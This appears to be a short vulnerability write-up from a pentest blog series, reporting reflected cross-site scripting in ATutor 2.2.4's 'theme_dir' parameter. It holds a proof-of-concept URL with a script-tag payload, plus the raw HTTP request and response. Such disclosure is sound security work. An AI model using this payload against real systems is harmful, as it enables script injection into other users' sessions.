Friday Fun Pentest Series - 17 - Reflected XSS - atutorv2.2.4

Description

- It was found that the application was vulnerable to Reflected XSS.

Reflected XSS #1 - "theme_dir"

Steps to Reproduce:

1. Login to the application with admin user
2. Paste the following URL into the browser

http://192.168.1.110/atutor/mods/_core/themes/index.php?type=Mobile&enable=Enable&theme_dir=<script>alert(1)</script>&mobile_version=2.2.2

// HTTP GET Request

GET /atutor/mods/_core/themes/index.php?type=Mobile&enable=Enable&theme_dir=<script>alert(1)</script>&mobile_version=2.2.2 HTTP/1.1

Host: 192.168.1.110

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Cookie: ATutorID=f6oaq82rkkjc2efnmi1qkig537; flash=no

Upgrade-Insecure-Requests: 1

Priority: u=0, i

// HTTP Response

HTTP/1.1 302 Found

Date: Sat, 18 Jan 2025 20:39:58 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

X-Powered-By: PHP/5.6.40

Set-Cookie: ATutorID=o0p8bdoggbsj1h0lf1des5gcm1; path=/atutor/; HttpOnly

Set-Cookie: ATutorID=o0p8bdoggbsj1h0lf1des5gcm1; path=/atutor/; HttpOnly

Set-Cookie: flash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Location: /atutor/mods/_core/themes/index.php

Vary: Accept-Encoding

Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=utf-8